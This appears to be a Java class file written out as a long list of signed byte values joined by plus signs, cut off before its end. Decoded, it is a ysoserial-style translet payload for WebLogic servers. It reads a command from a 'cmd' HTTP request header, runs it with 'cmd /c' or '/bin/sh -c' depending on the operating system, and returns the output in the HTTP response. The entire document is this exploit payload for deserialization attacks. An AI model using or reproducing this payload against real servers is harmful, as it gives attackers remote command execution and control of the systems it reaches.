+ 3 + + + 0 + + + 34 + + + 7 + + + 0 + + + -72 + + + 7 + + + 0 + + + 37 + + + 7 + + + 0 + + + 38 + + + 1 + + + 0 + + + 16 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 86 + + + 101 + + + 114 + + + 115 + + + 105 + + + 111 + + + 110 + + + 85 + + + 73 + + + 68 + + + 1 + + + 0 + + + 1 + + + 74 + + + 1 + + + 0 + + + 13 + + + 67 + + + 111 + + + 110 + + + 115 + + + 116 + + + 97 + + + 110 + + + 116 + + + 86 + + + 97 + + + 108 + + + 117 + + + 101 + + + 5 + + + -83 + + + 32 + + + -109 + + + -13 + + + -111 + + + -35 + + + -17 + + + 62 + + + 1 + + + 0 + + + 6 + + + 60 + + + 105 + + + 110 + + + 105 + + + 116 + + + 62 + + + 1 + + + 0 + + + 3 + + + 40 + + + 41 + + + 86 + + + 1 + + + 0 + + + 4 + + + 67 + + + 111 + + + 100 + + + 101 + + + 1 + + + 0 + + + 15 + + + 76 + + + 105 + + + 110 + + + 101 + + + 78 + + + 117 + + + 109 + + + 98 + + + 101 + + + 114 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 18 + + + 76 + + + 111 + + + 99 + + + 97 + + + 108 + + + 86 + + + 97 + + + 114 + + + 105 + + + 97 + + + 98 + + + 108 + + + 101 + + + 84 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 4 + + + 116 + + + 104 + + + 105 + + + 115 + + + 1 + + + 0 + + + 19 + + + 83 + + + 116 + + + 117 + + + 98 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 80 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 1 + + + 0 + + + 12 + + + 73 + + + 110 + + + 110 + + + 101 + + + 114 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 101 + + + 115 + + + 1 + + + 0 + + + 53 + + + 76 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 83 + + + 116 + + + 117 + + + 98 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 80 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 59 + + + 1 + + + 0 + + + 9 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 102 + + + 111 + + + 114 + + + 109 + + + 1 + + + 0 + + + 114 + + + 40 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 68 + + + 79 + + + 77 + + + 59 + + + 91 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 41 + + + 86 + + + 1 + + + 0 + + + 8 + + + 100 + + + 111 + + + 99 + + + 117 + + + 109 + + + 101 + + + 110 + + + 116 + + + 1 + + + 0 + + + 45 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 68 + + + 79 + + + 77 + + + 59 + + + 1 + + + 0 + + + 8 + + + 104 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 115 + + + 1 + + + 0 + + + 66 + + + 91 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 1 + + + 0 + + + 10 + + + 69 + + + 120 + + + 99 + + + 101 + + + 112 + + + 116 + + + 105 + + + 111 + + + 110 + + + 115 + + + 7 + + + 0 + + + 39 + + + 1 + + + 0 + + + -90 + + + 40 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 68 + + + 79 + + + 77 + + + 59 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 100 + + + 116 + + + 109 + + + 47 + + + 68 + + + 84 + + + 77 + + + 65 + + + 120 + + + 105 + + + 115 + + + 73 + + + 116 + + + 101 + + + 114 + + + 97 + + + 116 + + + 111 + + + 114 + + + 59 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 41 + + + 86 + + + 1 + + + 0 + + + 8 + + + 105 + + + 116 + + + 101 + + + 114 + + + 97 + + + 116 + + + 111 + + + 114 + + + 1 + + + 0 + + + 53 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 100 + + + 116 + + + 109 + + + 47 + + + 68 + + + 84 + + + 77 + + + 65 + + + 120 + + + 105 + + + 115 + + + 73 + + + 116 + + + 101 + + + 114 + + + 97 + + + 116 + + + 111 + + + 114 + + + 59 + + + 1 + + + 0 + + + 7 + + + 104 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 1 + + + 0 + + + 65 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 101 + + + 114 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 116 + + + 105 + + + 111 + + + 110 + + + 72 + + + 97 + + + 110 + + + 100 + + + 108 + + + 101 + + + 114 + + + 59 + + + 1 + + + 0 + + + 10 + + + 83 + + + 111 + + + 117 + + + 114 + + + 99 + + + 101 + + + 70 + + + 105 + + + 108 + + + 101 + + + 1 + + + 0 + + + 12 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 46 + + + 106 + + + 97 + + + 118 + + + 97 + + + 12 + + + 0 + + + 10 + + + 0 + + + 11 + + + 7 + + + 0 + + + 40 + + + 1 + + + 0 + + + 51 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 36 + + + 83 + + + 116 + + + 117 + + + 98 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 80 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 1 + + + 0 + + + 64 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 114 + + + 117 + + + 110 + + + 116 + + + 105 + + + 109 + + + 101 + + + 47 + + + 65 + + + 98 + + + 115 + + + 116 + + + 114 + + + 97 + + + 99 + + + 116 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 1 + + + 0 + + + 20 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 83 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 105 + + + 122 + + + 97 + + + 98 + + + 108 + + + 101 + + + 1 + + + 0 + + + 57 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 84 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 69 + + + 120 + + + 99 + + + 101 + + + 112 + + + 116 + + + 105 + + + 111 + + + 110 + + + 1 + + + 0 + + + 31 + + + 121 + + + 115 + + + 111 + + + 115 + + + 101 + + + 114 + + + 105 + + + 97 + + + 108 + + + 47 + + + 112 + + + 97 + + + 121 + + + 108 + + + 111 + + + 97 + + + 100 + + + 115 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 71 + + + 97 + + + 100 + + + 103 + + + 101 + + + 116 + + + 115 + + + 1 + + + 0 + + + 8 + + + 60 + + + 99 + + + 108 + + + 105 + + + 110 + + + 105 + + + 116 + + + 62 + + + 1 + + + 0 + + + 16 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 84 + + + 104 + + + 114 + + + 101 + + + 97 + + + 100 + + + 7 + + + 0 + + + 42 + + + 1 + + + 0 + + + 13 + + + 99 + + + 117 + + + 114 + + + 114 + + + 101 + + + 110 + + + 116 + + + 84 + + + 104 + + + 114 + + + 101 + + + 97 + + + 100 + + + 1 + + + 0 + + + 20 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 84 + + + 104 + + + 114 + + + 101 + + + 97 + + + 100 + + + 59 + + + 12 + + + 0 + + + 44 + + + 0 + + + 45 + + + 10 + + + 0 + + + 43 + + + 0 + + + 46 + + + 1 + + + 0 + + + 27 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 119 + + + 111 + + + 114 + + + 107 + + + 47 + + + 69 + + + 120 + + + 101 + + + 99 + + + 117 + + + 116 + + + 101 + + + 84 + + + 104 + + + 114 + + + 101 + + + 97 + + + 100 + + + 7 + + + 0 + + + 48 + + + 1 + + + 0 + + + 14 + + + 103 + + + 101 + + + 116 + + + 67 + + + 117 + + + 114 + + + 114 + + + 101 + + + 110 + + + 116 + + + 87 + + + 111 + + + 114 + + + 107 + + + 1 + + + 0 + + + 29 + + + 40 + + + 41 + + + 76 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 119 + + + 111 + + + 114 + + + 107 + + + 47 + + + 87 + + + 111 + + + 114 + + + 107 + + + 65 + + + 100 + + + 97 + + + 112 + + + 116 + + + 101 + + + 114 + + + 59 + + + 12 + + + 0 + + + 50 + + + 0 + + + 51 + + + 10 + + + 0 + + + 49 + + + 0 + + + 52 + + + 1 + + + 0 + + + 44 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 115 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 82 + + + 101 + + + 113 + + + 117 + + + 101 + + + 115 + + + 116 + + + 73 + + + 109 + + + 112 + + + 108 + + + 7 + + + 0 + + + 54 + + + 1 + + + 0 + + + 3 + + + 99 + + + 109 + + + 100 + + + 8 + + + 0 + + + 56 + + + 1 + + + 0 + + + 9 + + + 103 + + + 101 + + + 116 + + + 72 + + + 101 + + + 97 + + + 100 + + + 101 + + + 114 + + + 1 + + + 0 + + + 38 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 12 + + + 0 + + + 58 + + + 0 + + + 59 + + + 10 + + + 0 + + + 55 + + + 0 + + + 60 + + + 1 + + + 0 + + + 11 + + + 103 + + + 101 + + + 116 + + + 82 + + + 101 + + + 115 + + + 112 + + + 111 + + + 110 + + + 115 + + + 101 + + + 1 + + + 0 + + + 49 + + + 40 + + + 41 + + + 76 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 115 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 82 + + + 101 + + + 115 + + + 112 + + + 111 + + + 110 + + + 115 + + + 101 + + + 73 + + + 109 + + + 112 + + + 108 + + + 59 + + + 12 + + + 0 + + + 62 + + + 0 + + + 63 + + + 10 + + + 0 + + + 55 + + + 0 + + + 64 + + + 1 + + + 0 + + + 3 + + + 71 + + + 66 + + + 75 + + + 8 + + + 0 + + + 66 + + + 1 + + + 0 + + + 45 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 115 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 82 + + + 101 + + + 115 + + + 112 + + + 111 + + + 110 + + + 115 + + + 101 + + + 73 + + + 109 + + + 112 + + + 108 + + + 7 + + + 0 + + + 68 + + + 1 + + + 0 + + + 20 + + + 115 + + + 101 + + + 116 + + + 67 + + + 104 + + + 97 + + + 114 + + + 97 + + + 99 + + + 116 + + + 101 + + + 114 + + + 69 + + + 110 + + + 99 + + + 111 + + + 100 + + + 105 + + + 110 + + + 103 + + + 1 + + + 0 + + + 21 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 86 + + + 12 + + + 0 + + + 70 + + + 0 + + + 71 + + + 10 + + + 0 + + + 69 + + + 0 + + + 72 + + + 1 + + + 0 + + + 22 + + + 103 + + + 101 + + + 116 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 79 + + + 117 + + + 116 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 1 + + + 0 + + + 53 + + + 40 + + + 41 + + + 76 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 115 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 79 + + + 117 + + + 116 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 73 + + + 109 + + + 112 + + + 108 + + + 59 + + + 12 + + + 0 + + + 74 + + + 0 + + + 75 + + + 10 + + + 0 + + + 69 + + + 0 + + + 76 + + + 1 + + + 0 + + + 35 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 120 + + + 109 + + + 108 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 7 + + + 0 + + + 78 + + + 1 + + + 0 + + + 22 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 66 + + + 117 + + + 102 + + + 102 + + + 101 + + + 114 + + + 7 + + + 0 + + + 80 + + + 10 + + + 0 + + + 81 + + + 0 + + + 34 + + + 1 + + + 0 + + + 6 + + + 97 + + + 112 + + + 112 + + + 101 + + + 110 + + + 100 + + + 1 + + + 0 + + + 44 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 66 + + + 117 + + + 102 + + + 102 + + + 101 + + + 114 + + + 59 + + + 12 + + + 0 + + + 83 + + + 0 + + + 84 + + + 10 + + + 0 + + + 81 + + + 0 + + + 85 + + + 1 + + + 0 + + + 5 + + + 32 + + + 58 + + + 32 + + + 13 + + + 10 + + + 8 + + + 0 + + + 87 + + + 1 + + + 0 + + + 8 + + + 116 + + + 111 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 1 + + + 0 + + + 20 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 12 + + + 0 + + + 89 + + + 0 + + + 90 + + + 10 + + + 0 + + + 81 + + + 0 + + + 91 + + + 12 + + + 0 + + + 10 + + + 0 + + + 71 + + + 10 + + + 0 + + + 79 + + + 0 + + + 93 + + + 1 + + + 0 + + + 49 + + + 119 + + + 101 + + + 98 + + + 108 + + + 111 + + + 103 + + + 105 + + + 99 + + + 47 + + + 115 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 83 + + + 101 + + + 114 + + + 118 + + + 108 + + + 101 + + + 116 + + + 79 + + + 117 + + + 116 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 73 + + + 109 + + + 112 + + + 108 + + + 7 + + + 0 + + + 95 + + + 1 + + + 0 + + + 11 + + + 119 + + + 114 + + + 105 + + + 116 + + + 101 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 1 + + + 0 + + + 24 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 59 + + + 41 + + + 86 + + + 12 + + + 0 + + + 97 + + + 0 + + + 98 + + + 10 + + + 0 + + + 96 + + + 0 + + + 99 + + + 1 + + + 0 + + + 5 + + + 102 + + + 108 + + + 117 + + + 115 + + + 104 + + + 12 + + + 0 + + + 101 + + + 0 + + + 11 + + + 10 + + + 0 + + + 96 + + + 0 + + + 102 + + + 1 + + + 0 + + + 7 + + + 111 + + + 115 + + + 46 + + + 110 + + + 97 + + + 109 + + + 101 + + + 8 + + + 0 + + + 104 + + + 1 + + + 0 + + + 16 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 121 + + + 115 + + + 116 + + + 101 + + + 109 + + + 7 + + + 0 + + + 106 + + + 1 + + + 0 + + + 11 + + + 103 + + + 101 + + + 116 + + + 80 + + + 114 + + + 111 + + + 112 + + + 101 + + + 114 + + + 116 + + + 121 + + + 12 + + + 0 + + + 108 + + + 0 + + + 59 + + + 10 + + + 0 + + + 107 + + + 0 + + + 109 + + + 1 + + + 0 + + + 16 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 7 + + + 0 + + + 111 + + + 1 + + + 0 + + + 11 + + + 116 + + + 111 + + + 76 + + + 111 + + + 119 + + + 101 + + + 114 + + + 67 + + + 97 + + + 115 + + + 101 + + + 12 + + + 0 + + + 113 + + + 0 + + + 90 + + + 10 + + + 0 + + + 112 + + + 0 + + + 114 + + + 1 + + + 0 + + + 3 + + + 119 + + + 105 + + + 110 + + + 8 + + + 0 + + + 116 + + + 1 + + + 0 + + + 8 + + + 99 + + + 111 + + + 110 + + + 116 + + + 97 + + + 105 + + + 110 + + + 115 + + + 1 + + + 0 + + + 27 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 67 + + + 104 + + + 97 + + + 114 + + + 83 + + + 101 + + + 113 + + + 117 + + + 101 + + + 110 + + + 99 + + + 101 + + + 59 + + + 41 + + + 90 + + + 12 + + + 0 + + + 118 + + + 0 + + + 119 + + + 10 + + + 0 + + + 112 + + + 0 + + + 120 + + + 1 + + + 0 + + + 17 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 82 + + + 117 + + + 110 + + + 116 + + + 105 + + + 109 + + + 101 + + + 7 + + + 0 + + + 122 + + + 1 + + + 0 + + + 10 + + + 103 + + + 101 + + + 116 + + + 82 + + + 117 + + + 110 + + + 116 + + + 105 + + + 109 + + + 101 + + + 1 + + + 0 + + + 21 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 82 + + + 117 + + + 110 + + + 116 + + + 105 + + + 109 + + + 101 + + + 59 + + + 12 + + + 0 + + + 124 + + + 0 + + + 125 + + + 10 + + + 0 + + + 123 + + + 0 + + + 126 + + + 1 + + + 0 + + + 7 + + + 99 + + + 109 + + + 100 + + + 32 + + + 47 + + + 99 + + + 32 + + + 8 + + + 0 + + + -128 + + + 1 + + + 0 + + + 4 + + + 101 + + + 120 + + + 101 + + + 99 + + + 1 + + + 0 + + + 39 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 80 + + + 114 + + + 111 + + + 99 + + + 101 + + + 115 + + + 115 + + + 59 + + + 12 + + + 0 + + + -126 + + + 0 + + + -125 + + + 10 + + + 0 + + + 123 + + + 0 + + + -124 + + + 1 + + + 0 + + + 11 + + + 47 + + + 98 + + + 105 + + + 110 + + + 47 + + + 115 + + + 104 + + + 32 + + + 45 + + + 99 + + + 32 + + + 8 + + + 0 + + + -122 + + + 1 + + + 0 + + + 22 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 66 + + + 117 + + + 102 + + + 102 + + + 101 + + + 114 + + + 101 + + + 100 + + + 82 + + + 101 + + + 97 + + + 100 + + + 101 + + + 114 + + + 7 + + + 0 + + + -120 + + + 1 + + + 0 + + + 25 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 82 + + + 101 + + + 97 + + + 100 + + + 101 + + + 114 + + + 7 + + + 0 + + + -118 + + + 1 + + + 0 + + + 17 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 80 + + + 114 + + + 111 + + + 99 + + + 101 + + + 115 + + + 115 + + + 7 + + + 0 + + + -116 + + + 1 + + + 0 + + + 14 + + + 103 + + + 101 + + + 116 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 1 + + + 0 + + + 23 + + + 40 + + + 41 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 59 + + + 12 + + + 0 + + + -114 + + + 0 + + + -113 + + + 10 + + + 0 + + + -115 + + + 0 + + + -112 + + + 1 + + + 0 + + + 42 + + + 40 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 105 + + + 111 + + + 47 + + + 73 + + + 110 + + + 112 + + + 117 + + + 116 + + + 83 + + + 116 + + + 114 + + + 101 + + + 97 + + + 109 + + + 59 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 